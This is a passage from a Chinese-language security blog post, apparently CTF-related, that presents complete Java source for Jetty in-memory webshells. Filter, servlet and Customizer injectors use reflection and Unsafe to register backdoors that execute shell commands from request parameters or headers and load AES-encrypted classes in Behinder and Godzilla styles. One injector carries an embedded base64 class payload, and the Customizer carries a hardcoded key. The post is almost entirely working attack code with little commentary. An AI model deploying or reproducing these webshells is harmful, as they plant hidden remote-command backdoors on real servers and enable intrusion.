a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
private static byte[] BASE64Decoder(String data){
byte[] inputBytes = data.getBytes();
Base64.Decoder encoder = Base64.getDecoder();
byte[] encodedBytes = encoder.decode(inputBytes);
return encodedBytes;
}

//获取上下文
public static synchronized void GetWebContent() throws Exception {
try{
Thread currentThread = Thread.currentThread();
Object contextClassLoader = GetField(currentThread, "contextClassLoader");
Object _context = GetField(contextClassLoader,"_context");
servletHandler = GetField(_context,"_servletHandler");
}catch (Exception e){
e.printStackTrace();
}
}

private static synchronized void InjectFilter() throws Exception {
if(servletHandler != null){
//方法二
Class HFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
Method addFilterWithMapping = GetMethod(servletHandler, "addFilterWithMapping", Class.class, String.class, Integer.TYPE);
addFilterWithMapping.invoke(servletHandler, HFilter, "/*", 1);

//使用addFilterWithMapping有个问题,动态添加FilterMapping时,其dispatches可能会与已加载到内存中的FilterMapping重复了,因此需要调整元素在_filterPathMappings中的位置
Object filterMaps = GetField(servletHandler, "_filterMappings");
Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)];
int n = 1;
int j;

for(j = 0; j < Array.getLength(filterMaps); ++j) {
Object filter = Array.get(filterMaps, j);
String filterName = (String)GetField(filter, "_filterName");
if (filterName.contains(HFilter.getName())) {
tmpFilterMaps[0] = filter;
} else {
tmpFilterMaps[n] = filter;
++n;
}
}
for(j = 0; j < tmpFilterMaps.length; ++j) {
Array.set(filterMaps, j, tmpFilterMaps[j]);
}
}

}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}

private static synchronized Method GetMethod(Object obj, String methodName, Class<?>... paramClazz) throws NoSuchMethodException {
Method method = null;
Class clazz = obj.getClass();

while(clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, paramClazz);
break;
} catch (NoSuchMethodException var6) {
clazz = clazz.getSuperclass();
}
}

if (method == null) {
throw new NoSuchMethodException(methodName);
} else {
method.setAccessible(true);
return method;
}
}


public AddFilterShell() {
try{
LoadFilter();
GetWebContent();
InjectFilter();
}catch (Exception e){
e.printStackTrace();
}

}

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
new AddFilterShell();
}
}

只不过包名有点改变,然后有些类消失了,比如sun.misc.base64这个类
FilterTemplates

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.boogipop.memshell;

import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Scanner;

public class FilterTemplate implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}
private static byte[] BASE64Decoder(String data){
byte[] inputBytes = data.getBytes();
Base64.Decoder encoder = Base64.getDecoder();
byte[] encodedBytes = encoder.decode(inputBytes);
return encodedBytes;
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[+] Dynamic Filter says hello");

if(servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")){
//basic cmd shell
String cmd = servletRequest.getParameter(Config.getPassword());
if(cmd != null && !cmd.isEmpty()){
String[] cmds = null;
if(File.separator.equals("/")){
cmds = new String[]{"/bin/sh", "-c", cmd};
}else{
cmds = new String[]{"cmd", "/C", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
servletResponse.getWriter().println(result);
}
}else if(((HttpServletRequest)servletRequest).getHeader(Config.getHeader()) != null){
//behind3 shell
try{
if (((HttpServletRequest)servletRequest).getMethod().equals("POST")){
String k = Config.getBehinderShellPwdPwd();
((HttpServletRequest)servletRequest).getSession().setAttribute("u",k);
Cipher cipher = Cipher.getInstance("AES");
cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
byte[] evilClassBytes = cipher.doFinal(BASE64Decoder(servletRequest.getReader().readLine()));
Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
Object evilObject = evilClass.newInstance();
Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse});
}
}catch(Exception e){
e.printStackTrace();
}
}else{
filterChain.doFilter(servletRequest, servletResponse);
}
}

@Override
public void destroy() {

}

class U extends ClassLoader{
U(ClassLoader c){super(c);}

public Class g(byte []b){return super.defineClass(b,0,b.length);}
}
}

Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
package com.boogipop.memshell;

import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;

public class AddServletShell extends HttpServlet {
private static Object servletHandler = null;
private static String filterName = "ServletTemplates";
private static String filterClassName = "com.boogipop.memshell.ServletTemplates";
private static String url = "/*";
private static synchronized void LoadServlet() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = BASE64Decoder("yv66vgAAADIBFgoASAB2CQB3AHgIAHkKAHoAewgAfAsAfQB+CAB/CgANAIAKAIEAggoADQCDCQCEAIUIAIYHAIcIAIgIAIkIAFgIAIoHAIsKAIwAjQoAjACOCgCPAJAKABIAkQgAkgoAEgCTCgASAJQLAJUAlgoAlwB7CgCBAJgLAH0AmQsAfQCaCACbCgCBAJwLAH0AnQgAngsAnwCgCAChCgCiAKMHAKQHAKUKACcAdgsAnwCmCgAnAKcIAKgKACcAqQoAJwCqCgANAKsKACYArAoAogCtBwCuCgAxAHYLAH0ArwoAsACxCgAxALIKAKIAswcAtAoAQgC1CgA+ALYKADcAtwoANwC4CgA+ALkIALoHALsHALwHAL0KAD4AvgcAvwoAwADBBwDCCgBEAMMKAEcAxAcAxQcAxgEAAVUBAAxJbm5lckNsYXNzZXMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExjb20vYm9vZ2lwb3AvbWVtc2hlbGwvU2VydmxldFRlbXBsYXRlczsBAAZkb1Bvc3QBAFIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWAQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBAAFrAQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAOZXZpbENsYXNzQnl0ZXMBAAJbQgEACWV2aWxDbGFzcwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAKZXZpbE9iamVjdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADHRhcmdldE1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAA1TdGFja01hcFRhYmxlBwCHBwBVBwDCAQAKRXhjZXB0aW9ucwcAxwEABWRvR2V0AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAKU291cmNlRmlsZQEAFVNlcnZsZXRUZW1wbGF0ZXMuamF2YQwASwBMBwDIDADJAMoBAB5bK10gRHluYW1pYyBTZXJ2bGV0IHNheXMgaGVsbG8HAMsMAMwAzQEABHR5cGUHAM4MAM8A0AEABWJhc2ljDAC6ANEHANIMANMA1AwA1QDWBwDXDADYAFcBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHANkMANoA2wwA3ADdBwDeDADfAOAMAEsA4QEAAlxBDADiAOMMAOQA1AcA5QwA5gDnBwDoDADpANQMAOkA0AwA6gDUAQAEUE9TVAwA6wDUDADsAO0BAAF1BwDuDADvAPABAANBRVMHAPEMAPIA8wEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwA9AD1DAD2APcBAAAMAPYA+AwA+QDUDAD6APsMAEsA/AwA/QD+AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA/wEABwEBDAECANQMAQMBBAwBBQEGAQAoY29tL2Jvb2dpcG9wL21lbXNoZWxsL1NlcnZsZXRUZW1wbGF0ZXMkVQwBBwEIDAEJAQoMAEsBCwwBDAENDAEOAQ8BAAZlcXVhbHMBAA9qYXZhL2xhbmcvQ2xhc3MBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UMARABEQEAEGphdmEvbGFuZy9PYmplY3QHARIMARMBFAEAE2phdmEvbGFuZy9FeGNlcHRpb24MARUATAwAUgBTAQAmY29tL2Jvb2dpcG9wL21lbXNoZWxsL1NlcnZsZXRUZW1wbGF0ZXMBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAcY29tL2Jvb2dpcG9wL21lbXNoZWxsL0NvbmZpZwEAC2dldFBhc3N3b3JkAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAdpc0VtcHR5AQADKClaAQAMamF2YS9pby9GaWxlAQAJc2VwYXJhdG9yAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAlnZXRIZWFkZXIBAAlnZXRNZXRob2QBABZnZXRCZWhpbmRlclNoZWxsUHdkUHdkAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb24BAAxzZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAEIoTGNvbS9ib29naXBvcC9tZW1zaGVsbC9TZXJ2bGV0VGVtcGxhdGVzO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBAAFnAQAVKFtCKUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQAhAEcASAAAAAAABAABAEsATAABAE0AAAAvAAEAAQAAAAUqtwABsQAAAAIATgAAAAYAAQAAAA8ATwAAAAwAAQAAAAUAUABRAAAABABSAFMAAgBNAAACkgAHAAkAAAFqsgACEgO2AAQrEgW5AAYCAMYAiysSBbkABgIAEge2AAiZAHsruAAJuQAGAgBOLcYAai22AAqaAGMBOgSyAAsSDLYACJkAGga9AA1ZAxIOU1kEEg9TWQUtUzoEpwAXBr0ADVkDEhBTWQQSEVNZBS1TOgS7ABJZuAATGQS2ABS2ABW3ABYSF7YAGLYAGToFLLkAGgEAGQW2ABunANEruAAcuQAdAgDGAMUruQAeAQASH7YACJkAr7gAIE4ruQAhAQASIi25ACMDABIkuAAlOgQZBAW7ACZZuwAnWbcAKCu5ACEBABIiuQApAgC2ACoSK7YALLYALbYALhIktwAvtgAwGQS7ADFZtwAyK7kAMwEAtgA0tgA1tgA2OgW7ADdZKiq2ADi2ADm3ADoZBbYAOzoGGQa2ADw6BxkGEj0FvQA+WQMSP1NZBBJAU7YAQToIGQgZBwW9AEJZAytTWQQsU7YAQ1enAAhOLbYARbEAAQCnAWEBZABEAAMATgAAAGYAGQAAABIACAAUACMAFgAtABcAOAAYADsAGQBGABoAXQAcAHEAHgCNAB8AmAAhAKcAJAC1ACUAuQAmAMcAJwDOACgA/wApARkAKgEvACsBNgAsAU0ALQFhADEBZAAvAWUAMAFpADMATwAAAIQADQA7AF0AVABVAAQAjQALAFYAVwAFAC0AawBYAFcAAwC5AKgAWQBXAAMAzgCTAFoAWwAEARkASABcAF0ABQEvADIAXgBfAAYBNgArAGAAYQAHAU0AFABiAGMACAFlAAQAZABlAAMAAAFqAFAAUQAAAAABagBmAGcAAQAAAWoAaABpAAIAagAAABgAB/0AXQcAawcAbBP5ACYC+wDFQgcAbQQAbgAAAAQAAQBvAAQAcABTAAIATQAAAEkAAwADAAAAByorLLYARrEAAAACAE4AAAAKAAIAAAA3AAYAOABPAAAAIAADAAAABwBQAFEAAAAAAAcAZgBnAAEAAAAHAGgAaQACAG4AAAAEAAEAbwAJAHEAcgABAE0AAAArAAAAAQAAAAGxAAAAAgBOAAAABgABAAAAQgBPAAAADAABAAAAAQBzAFUAAAACAHQAAAACAHUASgAAAAoAAQA3AEcASQAA");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
private static byte[] BASE64Decoder(String data){
byte[] inputBytes = data.getBytes();
Base64.Decoder encoder = Base64.getDecoder();
byte[] encodedBytes = encoder.decode(inputBytes);
return encodedBytes;
}

//获取上下文
public static synchronized void GetWebContent() throws Exception {
try{
Thread currentThread = Thread.currentThread();
Object contextClassLoader = GetField(currentThread, "contextClassLoader");
Object _context = GetField(contextClassLoader,"_context");
servletHandler = GetField(_context,"_servletHandler");
}catch (Exception e){
e.printStackTrace();
}
}

private static synchronized void InjectServlet() throws Exception {
if(servletHandler != null){
//方法二
Class EvilServlet = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
Method addFilterWithMapping = GetMethod(servletHandler, "addServletWithMapping", Class.class, String.class);
addFilterWithMapping.invoke(servletHandler, EvilServlet, "/boogipop");
}

}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}

private static synchronized Method GetMethod(Object obj, String methodName, Class<?>... paramClazz) throws NoSuchMethodException {
Method method = null;
Class clazz = obj.getClass();

while(clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, paramClazz);
break;
} catch (NoSuchMethodException var6) {
clazz = clazz.getSuperclass();
}
}

if (method == null) {
throw new NoSuchMethodException(methodName);
} else {
method.setAccessible(true);
return method;
}
}


public AddServletShell() {
try{
LoadServlet();
GetWebContent();
InjectServlet();
}catch (Exception e){
e.printStackTrace();
}

}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
new AddFilterShell();
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package com.boogipop.memshell;

import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletResponse;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Scanner;

public class ServletTemplates extends HttpServlet {
private static byte[] BASE64Decoder(String data){
byte[] inputBytes = data.getBytes();
Base64.Decoder encoder = Base64.getDecoder();
byte[] encodedBytes = encoder.decode(inputBytes);
return encodedBytes;
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
System.out.println("[+] Dynamic Servlet says hello");

if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){
//basic cmd shell
String cmd = request.getParameter(Config.getPassword());
if(cmd != null && !cmd.isEmpty()){
String[] cmds = null;
if(File.separator.equals("/")){
cmds = new String[]{"/bin/sh", "-c", cmd};
}else{
cmds = new String[]{"cmd", "/C", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
response.getWriter().println(result);
}
}else if(request.getHeader(Config.getHeader()) != null){
//behind3 shell
try{
if (request.getMethod().equals("POST")){
String k = Config.getBehinderShellPwdPwd();
request.getSession().setAttribute("u",k);
Cipher cipher = Cipher.getInstance("AES");
cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES"));
byte[] evilClassBytes = cipher.doFinal(BASE64Decoder(request.getReader().readLine()));
Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
Object evilObject = evilClass.newInstance();
Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
targetMethod.invoke(evilObject, new Object[]{request, response});
}
}catch(Exception e){
e.printStackTrace();
}
}
}

@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
doPost(request, response);
}

class U extends ClassLoader{
U(ClassLoader c){super(c);}

public Class g(byte []b){return super.defineClass(b,0,b.length);}
}

public static void main(String[] args) {

}
}

Customizer内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
package com.boogipop.memshell;

import org.eclipse.jetty.server.*;
import sun.misc.Unsafe;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.ref.Reference;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Map;
import java.util.Scanner;

public class EvilCustomizer implements HttpConfiguration.Customizer {
String xc = "3c6e0b8a9c15224a"; // key
String pass = "pass";
String md5 = md5(pass + xc);
Class payload;
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public EvilCustomizer() {
System.out.println(1);
}

public EvilCustomizer(int s) {
System.out.println(2);
}

static {
try {
HttpConnection valueField = getValueField();
valueField.getHttpChannel().getHttpConfiguration().addCustomizer(new EvilCustomizer(1));
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
unsafe.setAccessible(true);
sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null);
return theunsafe;
}
private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException {
Unsafe unsafe = getUnsafe();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsfiled = threadGroup.getClass().getDeclaredField("threads");
Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled));
for(int i=0;i<threads.length;i++) {
try {
Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals");
Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF));
Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table")));
for(int j=0;j<table.length;j++){
try {
//HttpConnection value = (HttpConnection) unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
//PrintWriter writer = value.getHttpChannel().getResponse().getWriter();
//writer.println(Runtime.getRuntime().exec(value.getHttpChannel().getRequest().getParameter("cmd")));
//writer.flush();
Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){
return (HttpConnection)value;
}
}
catch (Exception e){

}
}

} catch (Exception e) {

}
}
return null;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
@Override
public void customize(Connector connector, HttpConfiguration httpConfiguration, Request request) {
try {
if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
String cmd = request.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next();
PrintWriter writer = request.getResponse().getWriter();
writer.println(result);
writer.flush();
}
}
else if (request.getHeader("x-client-data").equalsIgnoreCase("godzilla")) {
// 哥斯拉是通过 localhost/?pass=payload 传参 不存在包装类问题
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (payload == null) {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
PrintWriter writer = request.getResponse().getWriter();
writer.write(md5.substring(0, 16));
f.toString();
writer.write(base64Encode(x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
}
}
} catch (Exception e) {
}
}
}

该内存马类似于filter内存马,也就是tomcat的value内存马。

有关代码

有关代码已上传github
https://github.com/Boogipop/JettyMemshellProject

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF#Jetty